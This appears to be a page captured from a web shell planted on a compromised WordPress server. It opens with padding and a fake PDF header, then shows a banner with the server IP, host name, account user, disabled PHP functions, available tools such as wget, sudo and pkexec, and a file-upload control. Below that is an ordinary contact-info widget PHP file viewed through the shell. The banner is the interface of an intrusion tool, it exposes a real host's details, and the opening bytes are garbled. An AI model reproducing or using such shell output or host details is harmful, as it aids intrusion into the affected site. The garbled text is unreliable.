...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 65.108.66.160 / Your IP : 216.73.217.50 Web Server : Apache System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64 User : alasaweborg ( 1047) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/alasaweborg/www/wp-content/plugins/template-core/widgets/ |
Upload File : |
<?php
class Tpath_Contact_Info_Widget extends WP_Widget {
function __construct()
{
/* Widget settings. */
$widget_options = array('classname' => 'tpath_contact_info_widget', 'description' => 'Displays your contact info.');
$control_options = array('id_base' => 'tpath_contact_info-widget');
/* Create the widget. */
parent::__construct('tpath_contact_info-widget', 'Contact Info', $widget_options, $control_options);
}
function widget($args, $instance)
{
extract($args);
$logo_url = $instance['logo_url'];
$description = $instance['description'];
$address = $instance['address'];
$website = $instance['website'];
$telephone = $instance['telephone'];
$phone = $instance['phone'];
$fax = $instance['fax'];
$email_1 = $instance['email_1'];
$email_2 = $instance['email_2'];
$title = apply_filters('widget_title', $instance['title']);
echo $before_widget;
if($title) {
echo $before_title . $title . $after_title;
}
?>
<div id="tpath_contact_info_widget" class="tpath-contact_info">
<div class="contact_info-inner">
<?php if( isset( $logo_url ) && $logo_url != '' ) { ?>
<a href="<?php the_permalink(); ?>"><img src="<?php echo esc_url( $logo_url ); ?>" /></a>
<?php } ?>
<?php if( isset( $description ) && $description != '' ) { ?>
<p class="contact-description"><span class="contact-widget-text"><?php echo esc_html( $description ); ?></span></p>
<?php } ?>
<?php if( isset( $address ) && $address != '' ) { ?>
<p class="address"><span class="icon fa fa-map-marker"></span><span class="contact-widget-title"><?php esc_html_e('', 'TemplateCore'); ?></span><span class="contact-widget-text"><?php echo esc_html( $address ); ?></span></p>
<?php } ?>
<?php if( isset( $phone ) && $phone != '' ) { ?>
<p class="phone"><span class="icon fa fa-phone"></span><span class="contact-widget-title"><?php esc_html_e('', 'TemplateCore'); ?></span><span class="contact-widget-text"><?php echo esc_html( $phone ); ?></span></p>
<?php } ?>
<?php if( isset( $email_1 ) && $email_1 != '' ) { ?>
<p class="email_1"><span class="icon fa fa-envelope-o"></span><span class="contact-widget-title"><?php esc_html_e('', 'TemplateCore'); ?></span><span class="contact-widget-text"><a href="mailto:<?php echo esc_html( $email_1 ); ?>"><?php echo esc_html( $email_1 ); ?></a></span></p>
<?php } ?>
<?php if( isset( $email_2 ) && $email_2 != '' ) { ?>
<p class="email_2"><span class="icon fa fa-envelope-o"></span><span class="contact-widget-title"><?php esc_html_e('', 'TemplateCore'); ?></span><span class="contact-widget-text"><a href="mailto:<?php echo esc_html( $email_2 ); ?>"><?php echo esc_html( $email_2 ); ?></a></span></p>
<?php } ?>
<?php if( isset( $telephone ) && $telephone != '' ) { ?>
<p class="telephone"><span class="contact-widget-title"><?php esc_html_e('Telephone', 'TemplateCore'); ?></span><span class="contact-widget-text"><?php echo esc_html( $telephone ); ?></span></p>
<?php } ?>
<?php if( isset( $fax ) && $fax != '' ) { ?>
<p class="fax"><span class="contact-widget-title"><?php esc_html_e('', 'TemplateCore'); ?></span><span class="contact-widget-text"><?php echo esc_html( $fax ); ?></span></p>
<?php } ?>
<?php if( isset( $website ) && $website != '' ) { ?>
<p class="website"><span class="contact-widget-title"><?php esc_html_e('Website', 'TemplateCore'); ?></span><span class="contact-widget-text"><a href="<?php echo esc_html( $website ); ?>" target="_blank"><?php echo esc_html( $website ); ?></a></span></p>
<?php } ?>
</div>
</div>
<?php echo $after_widget;
}
function update($new_instance, $old_instance){
$instance = $old_instance;
$instance['logo_url'] = $new_instance['logo_url'];
$instance['title'] = $new_instance['title'];
$instance['description'] = $new_instance['description'];
$instance['address'] = $new_instance['address'];
$instance['website'] = $new_instance['website'];
$instance['telephone'] = $new_instance['telephone'];
$instance['phone'] = $new_instance['phone'];
$instance['fax'] = $new_instance['fax'];
$instance['email_1'] = $new_instance['email_1'];
$instance['email_2'] = $new_instance['email_2'];
return $instance;
}
function form($instance){
$defaults = array('title' => '','logo_url' => '', 'description' => '', 'address' => '', 'website' => '', 'telephone' => '', 'phone' => '', 'fax' => '', 'email_1' => '', 'email_2' => '');
$instance = wp_parse_args((array) $instance, $defaults);
$description = esc_textarea( $instance['description'] ); ?>
<p><label for="<?php echo esc_attr( $this->get_field_id('title') ); ?>"><?php esc_html_e('Title:', 'TemplateCore'); ?></label>
<input class="widefat" type="text" id="<?php echo esc_attr( $this->get_field_id('title') ); ?>" name="<?php echo esc_attr( $this->get_field_name('title') ); ?>" value="<?php echo esc_attr( $instance['title'] ); ?>" /></p>
<p><label for="<?php echo esc_attr( $this->get_field_id('logo_url') ); ?>"><?php esc_html_e('Logo:', 'TemplateCore'); ?></label>
<input class="widefat" type="url" id="<?php echo esc_attr( $this->get_field_id('logo_url') ); ?>" name="<?php echo esc_attr( $this->get_field_name('logo_url') ); ?>" value="<?php echo esc_attr( $instance['logo_url'] ); ?>" /></p>
<p><label for="<?php echo esc_attr( $this->get_field_id('description') ); ?>"><?php esc_html_e('Description:', 'TemplateCore'); ?></label>
<textarea class="widefat" rows="10" cols="20" id="<?php echo esc_attr( $this->get_field_id('description') ); ?>" name="<?php echo esc_attr( $this->get_field_name('description') ); ?>"><?php echo esc_attr( $description ); ?></textarea></p>
<p><label for="<?php echo esc_attr( $this->get_field_id('text') ); ?>"><?php esc_html_e('Address:', 'TemplateCore'); ?></label>
<input class="widefat" type="text" id="<?php echo esc_attr( $this->get_field_id('address') ); ?>" name="<?php echo esc_attr( $this->get_field_name('address') ); ?>" value="<?php echo esc_attr( $instance['address'] ); ?>" /></p>
<p><label for="<?php echo esc_attr( $this->get_field_id('text') ); ?>"><?php esc_html_e('Website:', 'TemplateCore'); ?></label>
<input class="widefat" type="text" id="<?php echo esc_attr( $this->get_field_id('website') ); ?>" name="<?php echo esc_attr( $this->get_field_name('website') ); ?>" value="<?php echo esc_attr( $instance['website'] ); ?>" /></p>
<p><label for="<?php echo esc_attr( $this->get_field_id('text') ); ?>"><?php esc_html_e('Telephone:', 'TemplateCore'); ?></label>
<input class="widefat" type="text" id="<?php echo esc_attr( $this->get_field_id('telephone') ); ?>" name="<?php echo esc_attr( $this->get_field_name('telephone') ); ?>" value="<?php echo esc_attr( $instance['telephone'] ); ?>" /></p>
<p><label for="<?php echo esc_attr( $this->get_field_id('text') ); ?>"><?php esc_html_e('Phone:', 'TemplateCore'); ?></label>
<input class="widefat" type="text" id="<?php echo esc_attr( $this->get_field_id('phone') ); ?>" name="<?php echo esc_attr( $this->get_field_name('phone') ); ?>" value="<?php echo esc_attr( $instance['phone'] ); ?>" /></p>
<p><label for="<?php echo esc_attr( $this->get_field_id('text') ); ?>"><?php esc_html_e('Fax:', 'TemplateCore'); ?></label>
<input class="widefat" type="text" id="<?php echo esc_attr( $this->get_field_id('fax') ); ?>" name="<?php echo esc_attr( $this->get_field_name('fax') ); ?>" value="<?php echo esc_attr( $instance['fax'] ); ?>" /></p>
<p><label for="<?php echo esc_attr( $this->get_field_id('text') ); ?>"><?php esc_html_e('Email 1:', 'TemplateCore'); ?></label>
<input class="widefat" type="text" id="<?php echo esc_attr( $this->get_field_id('email_1') ); ?>" name="<?php echo esc_attr( $this->get_field_name('email_1') ); ?>" value="<?php echo esc_attr( $instance['email_1'] ); ?>" /></p>
<p><label for="<?php echo esc_attr( $this->get_field_id('text') ); ?>"><?php esc_html_e('Email 2:', 'TemplateCore'); ?></label>
<input class="widefat" type="text" id="<?php echo esc_attr( $this->get_field_id('email_2') ); ?>" name="<?php echo esc_attr( $this->get_field_name('email_2') ); ?>" value="<?php echo esc_attr( $instance['email_2'] ); ?>" /></p>
<?php }
}
function tpath_contact_info_load(){
register_widget('Tpath_Contact_Info_Widget');
}
add_action('widgets_init', 'tpath_contact_info_load');
?>